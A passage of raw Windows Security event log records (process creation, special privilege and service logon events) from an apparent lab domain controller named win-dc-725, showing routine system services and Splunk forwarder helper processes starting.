	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8f8
	New Process Name:	C:\Windows\System32\ismserv.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\ismserv.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253675
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\System32\dns.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dns.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253674
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253673
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253672
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253671
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253670
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa5c
	New Process Name:	C:\Windows\System32\spoolsv.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\spoolsv.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253669
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253668
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253708
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe98
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253707
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe8c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253706
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe8c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253705
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253704
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe54
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253703
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe1c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd94
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdf8
	New Process Name:	C:\Windows\System32\vds.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\vds.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253700
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253699
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253698
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\System32\vdsldr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\vdsldr.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253697
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd94
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253696
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
